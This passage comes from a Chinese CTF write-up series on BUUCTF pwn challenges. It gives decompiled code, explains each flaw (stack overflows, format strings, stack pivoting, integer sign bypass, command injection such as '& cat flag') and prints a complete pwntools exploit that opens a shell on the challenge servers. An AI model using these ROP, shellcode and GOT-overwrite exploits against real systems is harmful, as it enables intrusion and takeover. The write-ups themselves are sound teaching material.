payload += p64(printf_plt) + p64(main)

io.sendlineafter('name? ', payload)

read_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(read_addr))

libc = LibcSearcher('read',read_addr)

libc_addr = read_addr - libc.dump('read')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump("str_bin_sh")

payload = 'a' * (0x20 + 8) + p64(rdi) + p64(bin_sh) + p64(system) + p64(main)
io.sendlineafter('name? ', payload)

io.interactive()

0x1a ez_pz_hackover_2016

只开启了RELRO保护,而且存在可写可执行的段,可以考虑写入shellcode。

首先 fgets() 对参数s进行读入,1023个字符,没有造成溢出。然后判断s中有没有回车,有则改为0。

memchr():
C 库函数 void *memchr(const void *str, int c, size_t n) 在参数 str 所指向的字符串的前 n 个字节中搜索第一次出现字符 c(一个无符号字符)的位置。

然后通过 strcmp() 判断s是否等于字符串'crashme',这里可以使用 \x00 进行截断。然后调用 vuln()函数。

void *chall()
{
  size_t v0; // eax
  void *result; // eax
  char s; // [esp+Ch] [ebp-40Ch]
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", &s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(&s, 1023, stdin);
  v0 = strlen(&s);
  v3 = memchr(&s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", &s);
  result = (void *)strcmp(&s, "crashme");
  if ( !result )
    result = vuln((unsigned int)&s, 0x400u);
  return result;
}

void *__cdecl vuln(char src, size_t n)
{
  char dest; // [esp+6h] [ebp-32h]

  return memcpy(&dest, &src, n);
}

vuln()函数中,将src,也就是之前的s,复制到dest中,src可以输入1023个字符,而src显然可以被溢出。

接下来我们通过gdb来找一下偏移量。

在0x08048600处下一个断点,然后输入'crashme',执行到断地处,然后查看栈上的情况,此时ebp的地址为0xffffc9c8,。

然后看到字符串'ashme'的地址为0xffffc9b4,由于对齐的原因,没有跟 'cr' 连在一起,因此字符串 'crashme' 的地址应该为0xffffc9b2,所以就可以计算偏移量为26.

vmmap指令查看各个段的情况,可以看到0xfffdd000到0xffffe000都是可写可执行,于是我们可以将shellcode放到eip指向之后的位置,然后劫持程序eip返回到shellcode的位置即可拿到shell。

from pwn import *

context(log_level='debug', arch='i386', os='linux')

io = remote('node3.buuoj.cn', 28135)
# io = process('./babyrop2')

shellcode = asm(shellcraft.sh())

io.recvuntil('crash: ')
address = int(io.recv(10), 16)
print(hex(address))

payload = 'crashme\x00'
payload = payload.ljust(26, 'a')  + p32(address - 28 ) + shellcode

io.sendlineafter('> ', payload)

io.interactive()

0x1b ciscn_2019_es_2

只开启了RELRO和NX保护。

程序执行了两次read输入,输入长度为0x30,而s距离ebp为0x28,溢出长度太短,无法构造很长的ROP链,于是可以考虑使用栈迁移来进行getshell。

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);
}

首先我们可以利用printf函数输出的同时,覆盖掉ebp前的\x00,然后就可以顺着将ebp泄露出来。

stack address
'aaaa' ebp - 0x38
p32(system) ebp - 0x34
'aaaa' ebp - 0x30
p32(ebp - 0x28) ebp - 0x2c
'/bin' ebp - 0x28
'/sh\x00' ebp - 0x24
'\x00\x00\x00\x00' ebp - 0x20
'\x00\x00\x00\x00' ebp - 0x1c
'\x00\x00\x00\x00' ebp - 0x18
'\x00\x00\x00\x00' ebp - 0x14
p32(ebp - 0x38) ebp + 0x10
p32(leave_ret) ebp + 0xc

gdb调试

ebp的位置填写payload的首地址,然后 leave_ret eip指向system,执行 system('/bin/sh'); 获取shell。

from pwn import *

# context(log_level='debug', arch='i386', os='linux')

io = remote('node3.buuoj.cn', 26800)
# io = process('./ciscn_2019_es_2')
elf = ELF('./ciscn_2019_es_2')

system = 0x08048400
leave_ret = 0x080484b8
payload = 'a' * 0x28

io.send(payload)
io.recvuntil(payload)
ebp = u32(io.recv(4))
print(hex(ebp))

payload = 'abcd' + p32(system) + 'aaaa' + p32(ebp - 0x28) + '/bin/sh\x00'
payload = payload.ljust(0x28, '\x00') + p32(ebp - 0x38) + p32(leave_ret)
io.send(payload)
io.interactive()

0x1c [Black Watch 入群题]PWN

开启了RELRO和NX保护。

通过read给bss段的s读入0x200个字符,然后给buf读入0x20个字符,造成了溢出,但是溢出长度过短,无法构造ROP链,于是可以考虑在s中写入ROP链,ret2libc,然后进行栈迁移。

ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf; // [esp+0h] [ebp-18h]

  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, &buf, 0x20u);
}

进行两次迁移。第一次泄露出libc,第二次getshell。

from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='i386', os='linux')

io = remote('node3.buuoj.cn', 27912)
# io = process('./spwn')
elf = ELF('./spwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']
leave_ret = 0x08048511
bss = 0x0804A300

# gdb.attach(io, 'b read')

payload = p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.sendafter('What is your name?', payload)

payload = 'a' * 0x18 + p32(bss - 4) + p32(leave_ret)
io.sendafter('What do you want to say?', payload)

address = u32(io.recv(4))
print(hex(address))

libc = LibcSearcher('write', address)

libc_add = address - libc.dump('write')
system = libc_add + libc.dump('system')
bin_sh = libc_add + libc.dump('str_bin_sh')

payload = p32(system) + p32(main) + p32(bin_sh)
io.sendafter('What is your name?', payload)

payload = 'a' * 0x18 + p32(bss - 4) + p32(leave_ret)
io.sendafter('What do you want to say?', payload)

io.interactive()

0x1d jarvisoj_level3

之前写过

之前的exp了:

from pwn import *

io = remote("220.249.52.134",40001)
elf = ELF("./level3")

payload = 'a' * 0x8c + p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(10)

io.recv()
io.sendline(payload)

write_addr = u32(io.recv()[:4])

payload = 'a' * 0x8c + p32(write_addr - 0x99a80) + 'aaaa' + p32(write_addr + 0x84c6b)

io.sendline(payload)
io.interactive()

利用LibcSearcher ret2libc:

from pwn import *
from LibcSearcher import *

io = remote("node3.buuoj.cn",29793)
elf = ELF("./level3")

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']

payload = 'a' * 0x8c + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(10)

io.recv()
io.sendline(payload)

write_addr = u32(io.recv()[:4])

libc = LibcSearcher('write',write_addr)

libc_addr = write_addr - libc.dump('write')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump('str_bin_sh')

payload = 'a' * 0x8c + p32(system) + 'aaaa' + p32(bin_sh)

io.sendline(payload)
io.interactive()

0x1e [BJDCTF 2nd]r2t4

开启了RELRO、canary和NX保护。

输入buf,然后 printf(&buf, &buf); 处显然存在格式化字符串漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  read(0, &buf, 0x38uLL);
  printf(&buf, &buf);
  return 0;
}

unsigned __int64 backdoor()
{
  unsigned __int64 v0; // ST08_8

  v0 = __readfsqword(0x28u);
  system("cat flag");
  return __readfsqword(0x28u) ^ v0;
}

触发canary时,程序会执行___stack_chk_fail函数,我们可以通过格式化字符串漏洞修改got表的___stack_chk_fail函数为后门函数。

后门函数地址为0x400626,太长了,我们可以将其分为两次进行写入,一次写入两字节,第一次写入0x0040,第二次写入0x0626。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

首先找到格式化字符串偏移量为6。

第一次写入,0x40,十进制就是64,格式化字符串长度为24(3*8),偏移量为6+3=9,于是就为'%64c%9$hn'。对应位置为p64(__stack_chk_fail + 2),修改__stack_chk_fail的高两位的内容。

第二次写入,0x0626,十进制就是1574,前面已经有了64,1574-64=1510,偏移量为6+3+1=10,在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10。

然后为了栈对齐,使之为8的倍数,加上'aaa',使之长度为24。

于是payload就为payload = "%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail + 2) + p64(__stack_chk_fail)

exp:

from pwn import *

io = remote('node3.buuoj.cn', 29133)
elf = ELF('./r2t4')

__stack_chk_fail = elf.got['__stack_chk_fail']
backdoor = elf.symbols['backdoor']

payload = "%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail + 2) + p64(__stack_chk_fail)

io.sendline(payload)
io.interactive()

参考64位格式化字符串漏洞修改got表利用详解

0x1f jarvisoj_fm

开启了RELRO、canary和NX保护。

printf(&buf);显然的格式化字符串漏洞。

然后判断x是否等于4,等于则拿到shell。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+2Ch] [ebp-5Ch]
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(&buf, 0, 0x50u);
  read(0, &buf, 0x50u);
  printf(&buf);
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

找到偏移量为11,s的地址为0x0804A02C,利用pwntools的工具fmtstr_payload可以快速构造payload。

from pwn import *

io = remote('node3.buuoj.cn', 28460)
elf = ELF('./fm')


address = 0x0804A02C

payload = fmtstr_payload(11, {address:4})

io.sendline(payload)
io.interactive()

0x20 [BJDCTF 2nd]test

题目让我们用ssh进行连接。ssh -p25694 ctf@node3.buuoj.cn

有pwnable.kr内味了。

看一下源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);
    }else{
        system(cmd);
    }
    return 0;
}

输入字符串,如果不存在'nepbushiflag|/$`-<>.'中任一字符,执行system(cmd);。想要拿到flag,就必须绕过这么多字符拿到shell。

查看一下有什么命令可以用:

ctf@1e8247ba2139:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
ctf@1e8247ba2139:~$ ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E "n|e|p|u|s|h|i|f|l|a|g"
dd
kmod
mt

#include <stdio.h>
mv
rm

MAKEDEV
rmmod
tc


2to3
2to3-2.7
2to3-3.4
[
comm
od
tr
tty
w
wc
x86_64
xxd





rmt

这里可以使用'x86_64'来getshell即可拿到flag。

setarch This utility currently only affects the output of uname -m. For example, on an AMD64 system, running 'setarch i386 program' will cause 'program' to see i686 (or other relevant arch) instead of x86_64 as machine type. It also allows to set various personality options. The default program is /bin/sh.

示例:

#include <stdio.h>
#include <stdlib.h>

int main()
{
        system("x86_64");
        return 0;
}

执行system("x86_64");拿到shell。

0x21 jarvisoj_tell_me_something

只开启了NX保护。

可以看到main函数处存在栈溢出,然后 good_game() 函数中,会读取"flag.txt",然后判断 fgetc(v0) 的返回值,为-1则输出flag。

而fgetc如果读到文件末尾返回EOF,即-1。

也就是说劫持程序返回到 good_game() 函数即可拿到flag。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h]

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf; // [rsp+Fh] [rbp-9h]

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf = result;
    if ( (_BYTE)result == -1 )
      break;
    write(1, &buf, 1uLL);
  }
  return result;
}

通过汇编可以看到,这里main函数结束时没有进行 pop rbp ,也就是说rbp的位置直接就是程序的返回地址。

exp:

from pwn import *

io = remote('node3.buuoj.cn', 29236)
# io = process('./guestbook')
elf = ELF('./guestbook')


flag = 0x400620

payload = 'a' * 0x88 + p64(flag)

io.sendlineafter('Input your message:\n', payload)
io.interactive()

0x22 jarvisoj_level4

之前写过,level4

exp:

from pwn import *

io = remote('node3.buuoj.cn', 27904)
elf = ELF('./level4')

write_addr = elf.plt['write']
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
read_plt = elf.symbols['read']
bss_addr = elf.bss()


def leak(address):
    payload = 'a' * 0x88 + 'a' * 0x4 + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(address) + p32(4)
    io.send(payload)
    data = io.recv(4)
    return data


d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')

payload2 = 'a' * 0x88 + 'a' * 0x4 + p32(read_plt) + p32(vulner_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
io.send(payload2)
io.send('/bin/sh\x00')

payload3 = 'a' * 0x88 + 'a' * 0x4 + p32(systemAddress) + p32(0) + p32(bss_addr)
io.sendline(payload3)
io.interactive()

但是奇怪的是同样的exp在Jarvis OJ跑得通,在buu就不行了,需要将返回地址从vulnerable_function修改为main函数初始化栈。

vulner_addr = elf.symbols['vulnerable_function'] 修改为 vulner_addr = elf.symbols['main']

0x23 bjdctf_2020_babystack2

开启了RELRO和NX保护。

程序要求输入一个不大于10的数,然后执行read函数对buf进行输入,输入长度为我们刚才输入的数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (signed int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, &buf, (unsigned int)nbytes);
  return 0;
}

signed __int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

这里我们输入的数在进行比较时会转化为有符号整形,而在输入时会转化为无符号整形,我们可以对此输入-1进行绕过,然后可以进行溢出。

from pwn import *

io = remote('node3.buuoj.cn', 26228)

backdoor = 0x400726

io.sendlineafter('length of your name:', '-1')

payload = 'a' * (0x10 +8) + p64(backdoor)
io.sendlineafter("[+]What's u name?",payload)

io.interactive()

0x24 jarvisoj_level3_x64

level3差不多,改一下传参方式和数据的接收就可以了。

from pwn import *
from LibcSearcher import *

io = remote("node3.buuoj.cn", 25784)
elf = ELF("./level3_x64")

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']

rdi = 0x4006b3
rsi_r15_ret = 0x4006b1

payload = 'a' * 0x88 + p64(rdi) + p64(1) + p64(rsi_r15_ret) + p64(write_got) + p64(1)
payload += p64(write_plt) + p64(main)

io.recv()
io.sendline(payload)

write_addr = u64(io.recv()[:6].ljust(8,'\x00'))

libc = LibcSearcher('write', write_addr)

libc_addr = write_addr - libc.dump('write')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump('str_bin_sh')

payload = 'a' * 0x88 +p64(rdi) + p64(bin_sh) + p64(system) + 'deadbeef'

io.sendline(payload)
io.interactive()

0x25 picoctf_2018_rop chain

只开启了RELRO和NX保护。

vuln() 处存在显然的栈溢出,flag() 中会对位于bss段的win1和win2进行非空判断,且函数参数a1为0xDEADBAAD的情况下输出flag。

char *vuln()
{
  char s; // [esp+0h] [ebp-18h]

  printf("Enter your input> ");
  return gets(&s);
}

int __cdecl flag(int a1)
{
  char s; // [esp+Ch] [ebp-3Ch]
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(&s, 48, stream);
  if ( win1 && win2 && a1 == 0xDEADBAAD )
    return printf("%s", &s);
  if ( win1 && win2 )
    return puts("Incorrect Argument. Remember, you can call other functions in between each win function!");
  if ( win1 || win2 )
    return puts("Nice Try! You're Getting There!");
  return puts("You won't get the flag that easy..");
}

最开始的时候没注意到存在现有的函数 win_function1()win_function2() 对win1和win2进行赋值,构造了几次ROP对其进行写入。

from pwn import *

io = remote("node3.buuoj.cn", 25413)
elf = ELF("./PicoCTF_2018_rop_chain")

flag = 0x804862b
gets_plt = elf.plt['gets']
main = elf.symbols['main']
win1 = 0x0804A041
win2 = 0x0804A042

payload = 'a' * (0x18 + 4) + p32(gets_plt) + p32(main) + p32(win1)
io.sendlineafter('Enter your input> ', payload)
io.sendline('1')

payload = 'a' * (0x18 + 4) + p32(gets_plt) + p32(main) + p32(win2)
io.sendlineafter('Enter your input> ', payload)
io.sendline('1')


payload = 'a' * (0x18 + 4) + p32(flag) + 'dead' + p32(0xDEADBAAD)
io.sendlineafter('Enter your input> ', payload)
io.interactive()

这样写exp也行,劫持程序返回到函数 win_function1() ,设置了win1的值,然后返回到函数 win_function2() ,返回地址为后门函数,参数为0xBAAAAAAD,设置win2的值,然后调用后门函数,对应的参数就为0xDEADBAAD,符合条件,输出flag。

from pwn import *

io = remote("node3.buuoj.cn", 25413)
elf = ELF("./PicoCTF_2018_rop_chain")

flag = 0x804862b
win1 = elf.symbols['win_function1']
win2 = elf.symbols['win_function2']

payload = 'a' * (0x18 + 4) + p32(win1) + p32(win2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
io.sendlineafter('Enter your input> ', payload)
io.interactive()

0x26 bjdctf_2020_babyrop2

开启了RELRO、canary和NX保护。

main函数先调用 gift() 函数,scanf读取前六个字符,然后直接输出 printf(&format); ,存在格式化字符串漏洞。

然后 vuln() 函数存在栈溢出。

unsigned __int64 gift()
{
  char format; // [rsp+0h] [rbp-10h]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  puts("I'll give u some gift to help u!");
  __isoc99_scanf("%6s", &format);
  printf(&format);
  puts(byte_400A05);
  fflush(0LL);
  return __readfsqword(0x28u) ^ canary;
}

unsigned __int64 vuln()
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Pull up your sword and tell me u story!");
  read(0, &buf, 0x64uLL);
  return __readfsqword(0x28u) ^ v2;
}

这题可以先利用格式化字符串漏洞泄露出canary,然后在第二个函数构造ROP链时将canary填充到对应的位置,ret2libc即可。

这里由于scanf只读取了前六个字符,想要得到偏移量就得调试看看了。

gdb调试,运行至输入格式化字符串处,此时RBP的地址为0x7ffffffedfa0,而canary在 $rbp - 0x8 处,于是利用gdb的插件fmtarg来找偏移量: fmtarg 0x7ffffffedf98

得到偏移量为7,于是输入 %7$p 即可泄露出canary。

from pwn import *
from LibcSearcher import *

io = remote("node3.buuoj.cn", 25148)
elf = ELF("./bjdctf_2020_babyrop2")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
vuln = elf.symbols['vuln']

rdi = 0x400993
rsi_r15_ret = 0x400991

payload = '%7$p'
io.sendlineafter("I'll give u some gift to help u!\n", payload)

io.recvuntil('0x')
canary = int(io.recv(16), 16)
print('[+]canary: ', hex(canary))

payload = 'a' * (0x20 - 8) + p64(canary) + 'deadbeef' + p64(rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(vuln)

io.sendlineafter("tell me u story!\n", payload)

puts_addr = u64(io.recv(6).ljust(8, '\x00'))

libc = LibcSearcher('puts', puts_addr)

libc_addr = puts_addr - libc.dump('puts')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump('str_bin_sh')

payload = 'a' * (0x20 - 8) + p64(canary) + 'deadbeef' + p64(rdi) + p64(bin_sh)
payload += p64(system) + p64(vuln)
io.sendlineafter("tell me u story!\n", payload)

io.interactive()

0x27 jarvisoj_test_your_memory

只开启了RELRO和NX保护。

main函数里生成随机数然后传入 mem_test() 函数,开始我还以为是猜数字,可是后来发现就是一个简单的栈溢出 __isoc99_scanf("%s", &s); 存在溢出。程序存在system函数,点击hint进去,发现是一个 cat flag 字符串,直接构造就可以了。

int __cdecl mem_test(char *s2)
{
  int result; // eax
  char s; // [esp+15h] [ebp-13h]

  memset(&s, 0, 0xBu);
  puts("\nwhat???? : ");
  printf("0x%x \n", hint);
  puts("cff flag go go go ...\n");
  printf("> ");
  __isoc99_scanf("%s", &s);
  if ( !strncmp(&s, s2, 4u) )
    result = puts("good job!!\n");
  else
    result = puts("cff flag is failed!!\n");
  return result;
}

加一个ret平衡一下堆栈。

from pwn import *

context(arch = 'i386' , os = 'linux', log_level="debug")

io = remote("node3.buuoj.cn", 28428)
elf = ELF("./memory")

system = elf.plt['system']
ret = 0x08048676

payload = 'a' * (0x13 + 4) + p32(ret) + p32(system) + 'aaaa' + p32(0x80487e0)
io.sendline(payload)
io.recv()

0x28 bjdctf_2020_router

反编译后可以看到,在输入1后,会执行 system(dest); ,来执行ping命令,我们可以在ip之后拼接命令来任意命令执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  char dest[8]; // [rsp+20h] [rbp-60h]
  __int64 v6; // [rsp+28h] [rbp-58h]
  int v7; // [rsp+30h] [rbp-50h]
  char v8; // [rsp+34h] [rbp-4Ch]
  char v9; // [rsp+40h] [rbp-40h]
  unsigned __int64 v10; // [rsp+78h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  *(_QWORD *)dest = ' gnip';
  v6 = 0LL;
  v7 = 0;
  v8 = 0;
  v3 = 0;
  puts("Welcome to BJDCTF router test program! ");
  while ( 1 )
  {
    menu();
    puts("Please input u choose:");
    v3 = 0;
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        puts("Please input the ip address:");
        read(0, &buf, 0x10uLL);
        strcat(dest, &buf);
        system(dest);
        puts("done!");
        break;
      case 2:
        puts("bibibibbibibib~~~");
        sleep(3u);
        puts("ziziizzizi~~~");
        sleep(3u);
        puts("something wrong!");
        puts("Test done!");
        break;
      case 3:
        puts("Please input what u want to say");
        puts("Your suggest will help us to do better!");
        read(0, &v9, 0x3AuLL);
        printf("Dear ctfer,your suggest is :%s", &v9);
        break;
      case 4:
        puts("Hey guys,u think too much!");
        break;
      case 5:
        puts("Good Bye!");
        exit(-1);
        return;
      default:
        puts("Functional development!");
        break;
    }
  }
}

nc连接后输入1,然后输入 & cat flag 即可执行。

0x29 picoctf_2018_buffer overflow 1

只开启了RELRO保护,还存在可写可执行段。

vuln() 函数存在栈溢出, win() 函数可直接获取flag,劫持返回地址到 win() 即可。

int vuln()
{
  int v0; // eax
  char s; // [esp+0h] [ebp-28h]
  int savedregs; // [esp+28h] [ebp+0h]

  gets(&s);
  v0 = get_return_address((int)&savedregs);
  return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}

int win()
{
  char s; // [esp+Ch] [ebp-4Ch]
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(&s, 64, stream);
  return printf(&s);
}

exp:

from pwn import *

context(arch = 'i386' , os = 'linux', log_level="debug")

io = remote("node3.buuoj.cn", 27367)
elf = ELF("./PicoCTF_2018_buffer_overflow_1")

flag = 0x080485cb

payload = 'a' * (0x28 + 4) + p32(flag)
io.sendline(payload)

io.interactive()

0x2a [ZJCTF 2019]Login

开启了RELRO、canary和NX保护。

反汇编后是c++,有点慌,而且命名也很乱。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (*v3)(void); // rax
  User *v4; // rbx
  User *v5; // rax
  char v7; // [rsp+Fh] [rbp-131h]
  __int64 *v8; // [rsp+10h] [rbp-130h]
  char v9; // [rsp+20h] [rbp-120h]
  char v10[8]; // [rsp+D0h] [rbp-70h]
  char v11; // [rsp+E0h] [rbp-60h]
  unsigned __int64 v12; // [rsp+128h] [rbp-18h]

  v12 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  strcpy(v10, "2jctf_pa5sw0rd");
  memset(&v11, 0, 0x40uLL);
  Admin::Admin((Admin *)&v9, "admin", v10);
  puts(
    " _____   _  ____ _____ _____   _                _       \n"
    "|__  /  | |/ ___|_   _|  ___| | |    ___   __ _(_)_ __  \n"
    "  / /_  | | |     | | | |_    | |   / _ \\ / _` | | '_ \\ \n"
    " / /| |_| | |___  | | |  _|   | |__| (_) | (_| | | | | |\n"
    "/____\\___/ \\____| |_| |_|     |_____\\___/ \\__, |_|_| |_|\n"
    "                                          |___/         ");
  printf("Please enter username: ", "admin");
  User::read_name((User *)&login);
  printf("Please enter password: ");
  v3 = (void (*)(void))main::{lambda(void)#1}::operator void (*)(void) const(&v7);
  v8 = password_checker(v3);
  User::read_password((User *)&login);
  v4 = User::get_password((User *)&v9);
  v5 = User::get_password((User *)&login);
  password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(
    (void (__fastcall ***)(char *))&v8,
    (const char *)v5,
    (const char *)v4);
  return 0;
}

先尝试运行程序,输入用户名 'admin' ,密码 '2jctf_pa5sw0rd' ,发现程序出错了。

gdb调试一下,程序运行到这crash了,看一下函数 password_checker(void (*)())::{lambda(char const*, char const*)#1}::operator()(char const*, char const*) const

通过汇编代码,可以发现,程序直接执行了 call rax ,如果此时rax的值能被我们控制的话,那么可以直接执行后门函数 Admin::shell(Admin *this)

rbp+var_68 的值赋值给rax,而rdi赋值给 rbp+var_68

在main函数中,找到调用函数 password_checker(void (*)())::{lambda(char const*, char const*)#1}::operator()(char const*, char const*) const 的地方,溯源上去,rax赋值给rdi,而 rbp+var_130 有赋值给rax,但是此时 var_130 在栈上的位置无法被覆盖,我们接着往上找到了执行了 password_checker(void (*)(void)) 函数后的rax。

rbp+var_18 赋值给rax,此时 var_18 的值可以被覆盖!

在read_password里找到var_18。由于这里的函数都是在main()函数中调用的,所以password_checker()函数退栈后,read_password()函数在同一位置开栈(被调用函数都在同一位置上开栈)。因此我们可以在输入密码的时候覆盖var_18。

exp:

from pwn import *

context(arch='i386', os='linux', log_level="debug")

io = remote("node3.buuoj.cn", 27209)

shell = 0x400e88

io.sendlineafter('Please enter username:','admin')

payload = '2jctf_pa5sw0rd' + '\x00' * 58 + p64(shell)
io.sendlineafter('Please enter password:', payload)

io.interactive()

0x2b cmcc_simplerop

开启了RELRO和NX保护。

虽然文件相对较大,但是有用的就是main函数,很简单的栈溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h]

  puts("ROP is easy is'nt it ?");
  printf((int)"Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

利用pattern.py找偏移量。

偏移量为32,即0x20。

这题通过 ROPgadget --binary simplerop --only 'int' 找到了int80。

Linux的系统调用通过int 80h实现,用系统调用号来区分入口函数。
可参考 Linux系统调用 int 80h int 0x80

有了int80,我们只需要控制eax、ebx、ecx、edx的值,int80(11,"/bin/sh",null,null) 即可getshell。

由于字符串 /bin/sh 没有,我们可以利用read函数写入bss段。

exp:

from pwn import *
from LibcSearcher import *

context(arch='i386', os='linux', log_level="debug")

io = remote("node3.buuoj.cn", 29835)
elf = ELF("./simplerop")

int80 = 0x080493e1
eax = 0x080bae06
edx_ecx_ebx= 0x0806e850
read = elf.symbols['read']
bss_addr = 0x080eb584

payload = 'a' * 32 + p32(read) + p32(edx_ecx_ebx) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(eax) + p32(0x0b) + p32(edx_ecx_ebx)
payload += p32(0) + p32(0) + p32(bss_addr) + p32(int80)

io.sendlineafter('Your input :', payload)
io.sendline('/bin/sh\x00')
io.interactive()

0x2c pwnable_orw

开启了RELRO和canary保护,有可写可执行段。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h]
  char *v2; // [esp+8h] [ebp-80h]
  char v3; // [esp+Ch] [ebp-7Ch]
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
